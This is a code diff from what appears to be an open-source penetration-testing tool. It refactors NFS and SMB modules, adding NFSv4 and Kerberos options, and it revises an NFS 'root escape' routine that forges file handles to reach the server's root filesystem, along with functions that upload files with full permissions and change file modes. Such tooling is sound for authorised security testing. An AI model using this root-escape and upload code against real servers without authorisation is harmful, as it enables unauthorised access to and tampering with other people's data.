exec_perm = self.nfs3.access(file_handle, ACCESS3_EXECUTE, self.auth).get("resok", {}).get("access", 0) is ACCESS3_EXECUTE
except Exception:
exec_perm = self.nfs.access(file_handle, ACCESS3_EXECUTE, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_EXECUTE
except Exception as e:
self.logger.debug(f"NFS execute access check failed: {e}")
exec_perm = False
return read_perm, write_perm, exec_perm
def enum_shares(self):
try:
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mounting NFS Shares
output_export = str(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'")
shares = list(reg.findall(output_export))
networks = self.export_info(self.mount.export())
self.connect_nfs()
self.logger.display("Enumerating NFS Shares Directories")
for share, network in zip(shares, networks, strict=True):
for share, network in self.nfs.exports():
try:
mount_info = self.mount.mnt(share, self.auth)
mount_info = self.nfs.root_handle(share)
self.logger.debug(f"Mounted {share} - {mount_info}")
if mount_info["status"] != 0:
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}")
self.logger.fail(f"Error mounting share {share}: {self.nfs.status_name(mount_info['status'])}")
continue
fhandle = mount_info["mountinfo"]["fhandle"]
@@ -325,10 +354,10 @@ class nfs(connection):
self.logger.success(share)
if contents:
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
self.logger.highlight(f"{'---':<11}{'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
self.logger.highlight(f"{'UID':<11} {'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
self.logger.highlight(f"{'---':<11} {'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
for content in contents:
self.logger.highlight(f"{content['uid']:<11}{'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
self.logger.highlight(f"{content['uid']:<11} {'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
if "RPC_AUTH_ERROR: AUTH_REJECTEDCRED" in str(e):
self.logger.fail(f"{share} - RPC Access denied")
@@ -341,8 +370,6 @@ class nfs(connection):
except Exception as e:
self.logger.debug(f"Error on Listing NFS Shares Directories: {self.host}:{self.port} {e}")
self.logger.debug("It is probably unknown format or can not access as anonymously.")
finally:
self.nfs3.disconnect()
def get_file(self):
"""Downloads a file from the NFS share"""
@@ -356,30 +383,18 @@ class nfs(connection):
self.logger.display(f"Downloading {remote_file_path} to {local_file_path}")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
self.connect_nfs()
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
mount_fh = self.selected_root_handle()
if mount_fh is None:
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Iterate over the path until we hit the file
curr_fh = mount_fh
for sub_path in remote_file_path.lstrip("/").split("/"):
# Update the UID for the next object and get the handle
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
# Check for a bad path
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
@@ -401,7 +416,7 @@ class nfs(connection):
# Loop until we have read the entire file
with open(local_file_path, "wb+") as local_file:
while not eof:
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
file_data = self.nfs.read(curr_fh, offset, auth=self.rpc_auth)
if "resfail" in file_data:
raise Exception("Insufficient Permissions")
@@ -419,7 +434,7 @@ class nfs(connection):
self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}")
# Unmount the share
self.mount.umnt(self.auth)
self.nfs.unmount()
except Exception as e:
self.logger.fail(f'Error retrieving file "{file_name}" from "{remote_dir_path}": {e}')
if os.path.exists(local_file_path) and os.path.getsize(local_file_path) == 0:
@@ -442,37 +457,25 @@ class nfs(connection):
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
self.connect_nfs()
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
mount_fh = self.selected_root_handle()
if mount_fh is None:
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Iterate over the path
curr_fh = mount_fh
# If target dir is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))):
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
# If the path does not exist, create it
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.display(f"Creating directory '/{sub_path}/'")
res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth)
res = self.nfs.mkdir(curr_fh, sub_path, 0o777, auth=self.rpc_auth)
if res["status"] != 0:
self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}")
self.logger.fail(f"Error creating directory '/{sub_path}/': {self.nfs.status_name(res['status'])}")
return
else:
curr_fh = res["resok"]["obj"]["handle"]["data"]
@@ -484,18 +487,18 @@ class nfs(connection):
self.update_auth(curr_fh)
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
lookup_response = self.nfs.lookup(curr_fh, file_name, auth=self.rpc_auth)
open_auth = self.auth_snapshot(self.rpc_auth)
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
if lookup_response["resok"] is None:
# Create file
self.logger.display(f"Trying to create {remote_file_path}")
res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth)
res = self.nfs.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=open_auth)
if res["status"] != 0:
raise Exception(NFSSTAT3[res["status"]])
raise Exception(self.nfs.status_name(res["status"]))
else:
file_handle = res["resok"]["obj"]["handle"]["data"]
self.update_auth(file_handle)
self.logger.success(f"'{file_name}' successfully created")
else:
# Asking the user if they want to overwrite the file
@@ -506,34 +509,39 @@ class nfs(connection):
else:
return
# Update the UID and GID for the file
self.update_auth(file_handle)
# Use wtpref as the chunk size
res = self.nfs3.fsinfo(file_handle, auth=self.auth)
if res["status"] != 0:
self.logger.fail(f"Error getting FSINFO for {remote_file_path}: {NFSSTAT3[res['status']]}")
return
chunk_size = res["resok"]["wtpref"]
self.logger.display(f"Transferring data from '{local_file_path}' to '{remote_file_path}'")
try:
offset = 0
with open(local_file_path, "rb") as file:
while chunk := file.read(chunk_size):
# Write the data to the remote file
res = self.nfs3.write(file_handle, offset, len(chunk), chunk, 1, auth=self.auth)
if res["status"] != 0:
self.logger.fail(f"Error writing to '{remote_file_path}': {NFSSTAT3[res['status']]}")
return
offset += len(chunk)
# Update the UID and GID for the file without changing the identity used by NFSv4 OPEN state.
self.update_auth(file_handle)
self.logger.success(f"Data from '{local_file_path}' successfully written to '{remote_file_path}' with permissions 777")
except Exception as e:
self.logger.fail(f"Could not write to '{local_file_path}': {e}")
# Use wtpref as the chunk size
res = self.nfs.fsinfo(file_handle, auth=self.rpc_auth)
if res["status"] != 0:
self.logger.fail(f"Error getting FSINFO for {remote_file_path}: {self.nfs.status_name(res['status'])}")
return
chunk_size = res["resok"]["wtpref"]
self.logger.display(f"Transferring data from '{local_file_path}' to '{remote_file_path}'")
try:
offset = 0
with open(local_file_path, "rb") as file:
while chunk := file.read(chunk_size):
# Write the data to the remote file
res = self.nfs.write(file_handle, offset, len(chunk), chunk, 1, auth=open_auth)
if res["status"] != 0:
self.logger.fail(f"Error writing to '{remote_file_path}': {self.nfs.status_name(res['status'])}")
return
offset += len(chunk)
self.logger.success(f"Data from '{local_file_path}' successfully written to '{remote_file_path}' with permissions 777")
except Exception as e:
self.logger.fail(f"Could not write to '{local_file_path}': {e}")
finally:
response = self.nfs.close(file_handle, auth=open_auth)
if response["status"] != 0:
self.logger.fail(f"Error closing '{remote_file_path}': {self.nfs.status_name(response['status'])}")
# Unmount the share
self.mount.umnt(self.auth)
self.nfs.unmount()
except Exception as e:
self.logger.fail(f"Error writing file to share {remote_file_path}: {e}")
else:
@@ -541,23 +549,11 @@ class nfs(connection):
def chmod(self):
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
self.connect_nfs()
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
mount_fh = self.selected_root_handle()
if mount_fh is None:
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Iterate over the path
curr_fh = mount_fh
@@ -568,7 +564,7 @@ class nfs(connection):
# If target dir is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
# If the path does not exist, create it
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
@@ -580,16 +576,16 @@ class nfs(connection):
self.update_auth(curr_fh)
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
lookup_response = self.nfs.lookup(curr_fh, file_name, auth=self.rpc_auth)
if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
return
current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
current_privs = self.nfs.getattr(lookup_response["resok"]["object"]["data"], auth=self.rpc_auth)["attributes"]["mode"]
res = self.nfs.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.rpc_auth)
if "resfail" in res:
self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
self.logger.fail(f"Failed to change permissions for '{filepath}': {self.nfs.status_name(res['status'])}")
else:
self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
except Exception as e:
@@ -611,12 +607,12 @@ class nfs(connection):
"""
# First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3])
# See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth))
dir_data = self.format_directory(self.nfs.readdirplus(mount_fh, auth=self.rpc_auth))
filesystem = FileID.unknown
for entry in dir_data:
# Check if "." is already the root directory
if entry["name"] == b".":
if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]:
if entry["name_handle"]["handle"]["data"][0] in [2, 0x80]:
self.logger.debug("Exported share is already the root directory")
return [entry["name_handle"]["handle"]["data"]]
elif entry["name"] == b"..":
@@ -635,8 +631,12 @@ class nfs(connection):
self.logger.debug(f"Filesystem type: {filesystem}")
# Generate the root handle depending on the filesystem type and preserve the file_id (respect the length)
if len(mount_fh) < 4 or mount_fh[2] not in fsid_lens:
return []
fh_fsid_type = mount_fh[2]
fh_fsid_len = fsid_lens[fh_fsid_type]
if len(mount_fh) < 4 + fh_fsid_len:
return []
root_handles = []
# Generate possible root handles
@@ -649,12 +649,12 @@ class nfs(connection):
if filesystem in [FileID.btrfs, FileID.unknown]:
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
for i in range(16):
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
subvolume = i.to_bytes(1, "big") + b"\x01\x00\x00"
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
return root_handles
def try_root_escape(self) -> bool:
def try_root_escape(self) -> bool | None:
"""
With an established connection look for a share that can be escaped to the root filesystem.
If successfull, self.escape_share and self.escape_fh will be populated.
@@ -663,58 +663,44 @@ class nfs(connection):
-------
bool: True if root escape was successful
"""
if not self.nfs3:
if not self.nfs:
raise Exception("NFS connection is not established")
output_export = str(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
shares = list(reg.findall(output_export))
shares = [share for share, network in self.nfs.exports()]
evaluated = False
self.logger.debug(f"Trying root escape on shares: {shares}")
for share in shares:
mount_info = self.mount.mnt(share, self.auth)
mount_info = self.nfs.root_handle(share)
if mount_info["status"] != 0:
self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}")
self.mount.umnt(self.auth)
self.logger.debug(f"Root escape: can't list directory {share}: {self.nfs.status_name(mount_info['status'])}")
self.nfs.unmount()
continue
mount_fh = mount_info["mountinfo"]["fhandle"]
try:
possible_root_fhs = self.get_root_handles(mount_fh)
for fh in possible_root_fhs:
if "resfail" not in self.nfs3.readdir(fh, auth=self.auth):
attributes = self.nfs.getattr(fh, auth=self.rpc_auth)
directory = self.nfs.readdir(fh, auth=self.rpc_auth)
evaluated = True
if attributes["status"] == 0 and directory["status"] == 0:
self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}")
self.escape_share = share
self.escape_fh = fh
self.mount.umnt(self.auth)
self.nfs.unmount()
return True
except Exception as e:
self.logger.debug(f"Error trying root escape on share '{share}': {e}")
self.mount.umnt(self.auth)
return False
self.nfs.unmount()
return False if evaluated else None
def ls(self):
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
self.connect_nfs()
# Remove leading or trailing slashes
self.args.ls = self.args.ls.lstrip("/").rstrip("/")
# NORMAL LS CALL (without root escape)
if self.args.share:
mount_info = self.mount.mnt(self.args.share, self.auth)
if mount_info["status"] != 0:
self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
return
else:
mount_fh = mount_info["mountinfo"]["fhandle"]
elif self.root_escape:
# Interestingly we don't actually have to mount the share if we already got the handle
self.logger.success(f"Successful escape on share: {self.escape_share}")
mount_fh = self.escape_fh
else:
self.logger.fail("No root escape possible, please specify a share")
mount_fh = self.selected_root_handle()
if mount_fh is None:
return
# We got a path to look up
@@ -725,13 +711,13 @@ class nfs(connection):
for sub_path in list(filter(None, self.args.ls.split("/"))):
# Update UID and GID for the path
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Unknown path: {self.args.ls!r}")
return
elif "resfail" in res:
self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
self.logger.fail(f"Error on looking up path '{sub_path}': {self.nfs.status_name(res['status'])}")
return
# If file then break and only display file
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
@@ -742,9 +728,9 @@ class nfs(connection):
# Update the UID and GID for the file/dir
self.update_auth(curr_fh)
dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth)
dir_listing = self.nfs.readdirplus(curr_fh, auth=self.rpc_auth)
if dir_listing["status"] != 0:
self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}")
self.logger.fail(f"Error on listing directory: {self.nfs.status_name(dir_listing['status'])}")
return
content = self.format_directory(dir_listing)
@@ -752,7 +738,7 @@ class nfs(connection):
while not dir_listing["resok"]["reply"]["eof"]:
cookie_verf = dir_listing["resok"]["cookieverf"]
cookie = content[-1]["cookie"]
dir_listing = self.nfs3.readdirplus(curr_fh, cookie=cookie, cookie_verf=cookie_verf, auth=self.auth)
dir_listing = self.nfs.readdirplus(curr_fh, cookie=cookie, cookie_verf=cookie_verf, auth=self.rpc_auth)
more_content = self.format_directory(dir_listing)
content.extend(more_content)
@@ -761,7 +747,7 @@ class nfs(connection):
for item in content:
if not item["name_attributes"]["present"]:
try:
res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth)
res = self.nfs.lookup(curr_fh, item["name"].decode(), auth=self.rpc_auth)
item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"]
item["name_attributes"]["present"] = True
item["name_handle"]["handle"] = res["resok"]["object"]
@@ -770,35 +756,20 @@ class nfs(connection):
self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}")
# If the requested path is a file, we filter out all other files
path = f"{self.args.share if self.args.share else ''}/{self.args.ls}"
path = f"{(self.args.share or '').rstrip('/')}/{self.args.ls}"
if is_file:
content = [x for x in content if x["name"].decode() == sub_path]
path = path.rsplit("/", 1)[0] # Remove the file from the path
self.print_directory(content, path)
def cat(self):
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
self.connect_nfs()
# Remove leading or trailing slashes
self.args.cat = self.args.cat.lstrip("/").rstrip("/")
# NORMAL LS CALL (without root escape)
if self.args.share:
mount_info = self.mount.mnt(self.args.share, self.auth)
if mount_info["status"] != 0:
self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
return
else:
mount_fh = mount_info["mountinfo"]["fhandle"]
elif self.root_escape:
# Interestingly we don't actually have to mount the share if we already got the handle
self.logger.success(f"Successful escape on share: {self.escape_share}")
mount_fh = self.escape_fh
else:
self.logger.fail("No root escape possible, please specify a share")
mount_fh = self.selected_root_handle()
if mount_fh is None:
return
# We got a path to look up
@@ -809,13 +780,13 @@ class nfs(connection):
for sub_path in list(filter(None, self.args.cat.split("/"))):
# Update UID and GID for the path
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Unknown path: {self.args.cat!r}")
return
elif "resfail" in res:
self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
self.logger.fail(f"Error on looking up path '{sub_path}': {self.nfs.status_name(res['status'])}")
return
curr_fh = res["resok"]["object"]["data"]
@@ -837,10 +808,10 @@ class nfs(connection):
offset = 0
eof = False
while not eof:
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
file_data = self.nfs.read(curr_fh, offset, auth=self.rpc_auth)
if "resfail" in file_data:
self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {NFSSTAT3[file_data['status']]}")
self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {self.nfs.status_name(file_data['status'])}")
return
else:
@@ -866,9 +837,12 @@ class nfs(connection):
"""
# Sort items linux-like by name
content = sorted(content, key=lambda x: x["name"].lower())
self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}")
self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}")
self.logger.highlight(f"{'UID':<11} {'Perms':<7}{'File Size':<14}{'File Path'}")
self.logger.highlight(f"{'---':<11} {'-----':<7}{'---------':<14}{'---------'}")
directory_auth = dict(self.auth)
for item in content:
if self.args.nfs_auth == "sys":
self.auth.update(directory_auth)
if not item["name_attributes"]["present"] or not item["name_handle"]["present"]:
uid = "-"
perms = "----"
@@ -876,19 +850,25 @@ class nfs(connection):
else:
uid = item["name_attributes"]["attributes"]["uid"]
is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-"
self.update_auth(item["name_handle"]["handle"]["data"])
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
try:
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
except UnicodeDecodeError:
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
self.logger.highlight(f"{uid:<11} {perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
except UnicodeDecodeError as e:
self.logger.debug(f"NFS filename is not UTF-8: {e}")
self.logger.highlight(f"{uid:<11} {perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
if self.args.nfs_auth == "sys":
self.auth.update(directory_auth)
def format_directory(self, raw_directory):
"""Convert the chained directory entries to a list of the entries"""
if "resfail" in raw_directory:
self.logger.debug("Insufficient Permissions, NFS returned 'resfail'")
return {}
return []
if not raw_directory["resok"]["reply"]["entries"]:
return []
items = []
nextentry = raw_directory["resok"]["reply"]["entries"][0]
while nextentry:
@@ -900,10 +880,13 @@ class nfs(connection):
def update_auth(self, file_handle):
"""Update the UID and GID for the file handle"""
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
attrs = self.nfs.getattr(file_handle, auth=self.rpc_auth)
self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}")
self.auth["uid"] = attrs["attributes"]["uid"]
self.auth["gid"] = attrs["attributes"]["gid"]
if self.args.nfs_auth == "sys" and isinstance(attrs["attributes"]["uid"], int):
self.auth["uid"] = attrs["attributes"]["uid"]
if self.args.nfs_auth == "sys" and isinstance(attrs["attributes"]["gid"], int):
self.auth["gid"] = attrs["attributes"]["gid"]
return attrs
def convert_size(size_bytes):
+6 -2
View File
@@ -1,7 +1,11 @@
def proto_args(parser, parents):
nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents)
nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)")
nfs_parser.add_argument("--nfs-timeout", type=int, default=5, help="NFS connection timeout (default: %(default)ss)")
nfs_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NT hash(es) to use for Kerberos authentication")
nfs_parser.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", help="Kerberos realm/domain")
nfs_parser.add_argument("--port", type=int, help="NFS port to probe and connect to (default: 2049)")
nfs_parser.add_argument("--nfs-version", choices=("3", "4.0", "4.1", "4.2"), help="NFS protocol version (default: prefer 3, otherwise latest supported NFSv4)")
nfs_parser.add_argument("--nfs-auth", choices=("none", "sys", "krb5", "krb5i", "krb5p"), default="sys", help="NFS security flavor (default: %(default)s)")
nfs_parser.add_argument("--nfs-timeout", type=int, default=2, help="NFS connection timeout (default: %(default)ss)")
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration")
dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file")
+18 -106
View File
@@ -4,9 +4,6 @@ import os
import re
import struct
import ipaddress
from pathlib import Path
from nxc.helpers.path import sanitize_filename
from Cryptodome.Hash import MD4
from textwrap import dedent
@@ -45,17 +42,16 @@ from impacket.smb3structs import (
FILE_ADD_SUBDIRECTORY,
FILE_DIRECTORY_FILE,
FILE_OPEN,
FILE_READ_DATA,
FILE_SHARE_DELETE,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SYNCHRONOUS_IO_NONALERT,
FILE_WRITE_DATA,
GENERIC_WRITE,
SMB2_0_IOCTL_IS_FSCTL,
WRITE_DAC,
WRITE_OWNER,
)
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
@@ -322,7 +318,7 @@ class smb(connection):
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -650,7 +646,7 @@ class smb(connection):
return self.conn.isSigningRequired()
def create_smbv1_conn(self, check=False):
self.logger.debug(f"Creating SMBv1 connection to {self.host}")
self.logger.info(f"Creating SMBv1 connection to {self.host}")
try:
conn = SMBConnection(
self.remoteName,
@@ -665,26 +661,26 @@ class smb(connection):
self.conn = conn
except OSError as e:
if "Connection reset by peer" in str(e):
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
self.logger.info(f"SMBv1 might be disabled on {self.host}")
elif "timed out" in str(e):
self.is_timed_out = True
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
else:
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
except NetBIOSError:
self.logger.debug(f"SMBv1 disabled on {self.host}")
self.logger.info(f"SMBv1 disabled on {self.host}")
self.smbv1 = False
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
return True
def create_smbv3_conn(self):
self.logger.debug(f"Creating SMBv3 connection to {self.host}")
self.logger.info(f"Creating SMBv3 connection to {self.host}")
try:
self.conn = SMBConnection(
self.remoteName,
@@ -699,7 +695,7 @@ class smb(connection):
self.is_timed_out = True
self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
else:
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.smbv3 = False
return False
return True
@@ -2153,108 +2149,24 @@ class smb(connection):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
try:
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
return True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
else:
self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}")
return False
except Exception as e:
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
return False
def get_file_single(self, remote_path, download_path, silent=False):
def get_file_single(self, remote_path, download_path):
share_name = self.args.share
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
with open(download_path, "wb+") as file:
if self.download_file(share_name, remote_path, file.write):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
if not silent:
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
try:
self.conn.getFile(share_name, remote_path, file.write)
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
if os.path.getsize(download_path) == 0:
os.remove(download_path)
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False):
folder = ntpath.normpath(folder)
self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}")
base_folder = os.path.basename(folder)
self.logger.debug(f"Base folder: {base_folder}")
try:
items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
except SessionError as e:
self.logger.error(f"Error listing folder '{folder}': {e}")
return
self.logger.debug(f"{len(items)} items in folder: {items}")
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
# create local directory structure regardless of content; download empty folders by default
# change the Windows path to Linux and then join it with the base directory to get our actual save path
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
local_folder_path = os.path.join(dest, relative_path)
if not filtered_items and ignore_empty:
self.logger.debug(f"Skipping empty folder '{folder}'")
return
